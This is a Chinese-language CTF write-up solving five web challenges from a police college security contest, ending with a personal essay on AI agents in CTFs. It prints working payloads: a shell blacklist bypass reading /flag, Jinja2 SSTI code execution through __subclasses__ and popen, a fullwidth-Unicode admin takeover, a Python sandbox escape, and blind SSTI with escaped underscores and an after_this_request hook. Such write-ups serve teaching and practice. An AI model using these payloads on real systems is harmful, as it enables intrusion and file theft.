浙江警察学院第九届信息网络安全竞赛-web全解wp

本文最后更新于 2026年6月8日 晚上

前言

不得不说,这真的是很久以来打的最爽的一次ctf了,题目出得真的好

ezshell

这题进去后直接给出了源代码:

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__file__);
$black_list=['eval','system','cat','tac','ls','tail','more','less','nl'];
$a=$_POST['t0mcater'];
for($i=0;$i<9;$i++){
if(strpos($a, $black_list[$i]) !== false){
die("bad hacker!");
}
}
shell_exec($a);

看了一下,发现黑名单禁用了['eval','system','cat','tac','ls','tail','more','less','nl'],但是没禁、等一系列符号,所以可以试试ca\t /f*,发现没被过滤,但是没回显,所以将其导出至1.txt

1
ca\t /f*>1.txt

访问/1.txt得到flag

babyssti

点开就是一个查询框,随便输入一个payload{{1+1}},回显HELLO 2,然后先探测config

可以发现没做长度限制,且放得很宽,那我们就可以先试试基础的payload

可以看到直接把模块都泄露出来了:

整理一下,找找rce——找到一个popen在第360行,于是构造payload

1
{{''.__class__.__base__.__subclasses__()[360].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

发现执行成功

直接cat /flag.txt

react2shell

这题看名字都知道是CVE复现,复现的是CVE-2025-55182

直接上网搜poc拿flag

myblog

这道题打开是一个博客页面,看到app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask, render_template, session, redirect, url_for

app = Flask(__name__)
app.config['SECRET_KEY'] = 'test' #fake_key

from auth.routes import auth_bp
from blog.routes import blog_bp
app.register_blueprint(auth_bp)
app.register_blueprint(blog_bp)

@app.route("/")
def index():
return render_template('hello.html')

@app.route("/blog")
def blog():
user = session.get('user')
if not user:
return redirect(url_for('auth.login'))
is_admin = (user == 'admin')
return render_template("hello.html", username=user, is_admin=is_admin)

if __name__=="__main__":
app.run(host="0.0.0.0", port=8080)

发现有后台接口,当user为admin的时候就放行

看到注册附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flask import Flask, Blueprint, request, session, flash, redirect, url_for, render_template
import unicodedata
auth_bp=Blueprint('auth',__name__)
user_db={"admin":"test"}#password is fake
@auth_bp.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password=request.form.get('password')
if username == 'admin':
flash("想得美")
return redirect(url_for('auth.register'))
normalized_name = unicodedata.normalize('NFKC', username).lower()
flash(f"注册并登录成功,欢迎:{normalized_name}")
user_db[normalized_name]=password
return redirect(url_for('auth.login'))

return render_template('register.html')

@auth_bp.route('/login',methods=['GET', 'POST'])
def login():
if request.method =='POST':
username=request.form.get("username")
password=request.form.get("password")
if user_db.get(username)==password:
session['user']=username
flash(f'welcome {username}!')
return redirect(url_for('blog.view'))
else:
flash('wrong!!!')
return redirect(url_for('auth.login'))
return render_template('login.html')

看到关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
def register():
if request.method == 'POST':
username = request.form.get('username')
password=request.form.get('password')
if username == 'admin':
flash("想得美")
return redirect(url_for('auth.register'))
normalized_name = unicodedata.normalize('NFKC', username).lower()
flash(f"注册并登录成功,欢迎:{normalized_name}")
user_db[normalized_name]=password
return redirect(url_for('auth.login'))

return render_template('register.html')

当username==admin的时候flash想得美,用的是==弱比较,可以试试全角宽字符代替注册来更改admin密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def halfwidth_to_fullwidth(text):
"""半角转全角"""
result = ""
for char in text:
code = ord(char)

# 半角空格
if code == 0x20:
code = 0x3000
# 可转换的 ASCII 字符
elif 0x21 <= code <= 0x7E:
code += 0xFEE0

result += chr(code)

return result

def fullwidth_to_halfwidth(text):
"""全角转半角"""
result = ""
for char in text:
code = ord(char)

# 全角空格
if code == 0x3000:
code = 0x20
# 可转换的全角字符
elif 0xFF01 <= code <= 0xFF5E:
code -= 0xFEE0

result += chr(code)

return result

if __name__ == "__main__":
s = "admin"

wide = halfwidth_to_fullwidth(s)
print("全角:", wide)

narrow = fullwidth_to_halfwidth(wide)
print("半角:", narrow)

拿到admin,尝试去注册登录,成功

进入实验室后发现考的是pyjail,故先分析源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from flask import Blueprint, request, session, flash, redirect, url_for, render_template
import sys
import io

blog_bp = Blueprint('blog', __name__)

@blog_bp.route('/blog')
def view():
user = session.get('user')
if not user:
return redirect(url_for('auth.login'))
is_admin = (user == 'admin')
return render_template('view.html', username=user, is_admin=is_admin)

@blog_bp.route('/execute', methods=['GET', 'POST'])
def sandbox():
if session.get('user') != 'admin':
flash("npnpnp")
return redirect(url_for('blog.view'))

output = ""
if request.method == 'POST':
code = request.form.get('code')
safe_globals = {"__builtins__": {}}

# 捕获输出
original_stdout = sys.stdout
sys.stdout = io.StringIO()

try:
exec(code, safe_globals)
output = sys.stdout.getvalue()
except Exception as e:
output = f"Error: {str(e)}"
finally:
sys.stdout = original_stdout

return render_template('sandbox.html', output=output, code=code)

return render_template('sandbox.html')

看到关键函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@blog_bp.route('/execute', methods=['GET', 'POST'])
def sandbox():
if session.get('user') != 'admin':
flash("npnpnp")
return redirect(url_for('blog.view'))

output = ""
if request.method == 'POST':
code = request.form.get('code')
safe_globals = {"__builtins__": {}}

original_stdout = sys.stdout
sys.stdout = io.StringIO()

try:
exec(code, safe_globals)
output = sys.stdout.getvalue()
except Exception as e:
output = f"Error: {str(e)}"
finally:
sys.stdout = original_stdout
return render_template('sandbox.html', output=output, code=code)
return render_template('sandbox.html')

暂时是没看到黑名单,只看到一定不能用__builtins__

fuzz了一下,发现删掉了好多模块

索性尝试看看有没有popen能用,用迭代器来试试看

没报错,可以用

于是构造一下payload,这道题由于没有直接的回显,所以说在最后还得绕个弯,将显示的信息一并以报错的形式输出

用assert

id成功回显,用find找一下flag在哪里,发现在/app目录下,直接cat /app/flag

1
flag{python33_master_t0mcatergogogo2333}

babyssti_revenge

整体跟babyssti差不多,先来看看app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask,render_template_string,request,render_template
app=Flask(__name__)
@app.route('/',methods=['GET','POST'])
def index():
black_list=['__class__','__init__','7','*','import','os','popen','__','system']
if request.method=='POST':
name=request.form.get('name')
for black in black_list:
if black in name:
return "waf!"
result=render_template_string(name)
return 'ok'
return render_template('index.html')
if __name__=='__main__':
app.run(host='0.0.0.0',port=5000)

很简洁易懂,禁用函数['__class__','__init__','7','*','import','os','popen','__','system'],然后

成功的话只回显ok,又得换一个模板了

下面就是ssti盲打(最烦的部分)

先试了一下,2回显200

Infinity回显500

所以可以拿报错来作为标准

用\x5f来绕过_

{% set b=... %},先把 __builtins__ 先取出来,存到变量 b

lipsum|attr('\x5f\x5fglobals\x5f\x5f')等价于 lipsum.__globals__

|attr('get')('\x5f\x5fbuiltins\x5f\x5f')从 globals 字典里取出 __builtins__

b|attr('get')('exec') builtins 里取出 exec

exec('from flask ' ~ 'im' ~ 'port after_this_request ...')动态执行一段 Python 代码,注册 Flask 的响应后置 hook

@after_this_request表示当前这个请求处理完视图函数后,还会执行一次我们定义的函数

resp.set_data(open("/flag.txt").read())把原本的响应正文 ok 改成 flag 内容

return resp返回修改后的响应对象

最后得到payload

1
{% set b=(lipsum|attr('\x5f\x5fglobals\x5f\x5f')|attr('get')('\x5f\x5fbuiltins\x5f\x5f')) %}{{ b|attr('get')('exec')('from flask ' ~ 'im' ~ 'port after_this_request\n@after_this_request\ndef x(resp):\n    resp.set_data(open("/flag.txt").read())\n    return resp') }}

拿到flag

1
flag{flask_b4by_master_2026}

后记

​ 好久没写后记了,今天是四校联赛后的第一个24小时,然后但从我个人的感觉来说吧,有种难以表达又或是很“矫情”的说法,随着ai的进步,我们这些只会点基础的CTFer可以说被代替是早晚的事。我时不时的会沉溺于agent,借着它的威风在这莫大的世界中留下一点小小的名声(况且现在还没有)。虽说赛时禁用了agent,但还是总会有那么一群人妄想着凭借从ai那里借过来的一点实例和技巧打翻我们剩下这批老实的人。

​ 写这一小篇个人随笔也只是随性发挥,自从入门了渗透挖洞后真的可谓肉眼可见的忙,有一大堆新东西,新套路等着我去学,一大堆人和事要我去处理(这是我最烂的短板,我也不想去做),可以说我也日渐憔悴了,开始有点力不从心,又或是说没有坚守自己的本心?我不知道。我只知道,自从今年2月份打完vnctf和破阵阁ctf并且见识到agent的实力后我开始有点随波逐流的味道了,“到了未来,我们这些ctfer是不是得依赖上ai了?为了去抢那些所谓的一,二血而争得个头破血流”,我时常会这样想,要不我以后也去试试研究agent呢,现在肯定还差远了。

​ 写到这也差不多了,希望我的人际关系能处理得更融洽吧(((


浙江警察学院第九届信息网络安全竞赛-web全解wp
https://zomnap.github.io/2026/06/07/浙江警察学院第九届信息网络安全竞赛/
作者
Zomnap
发布于
2026年6月7日
许可协议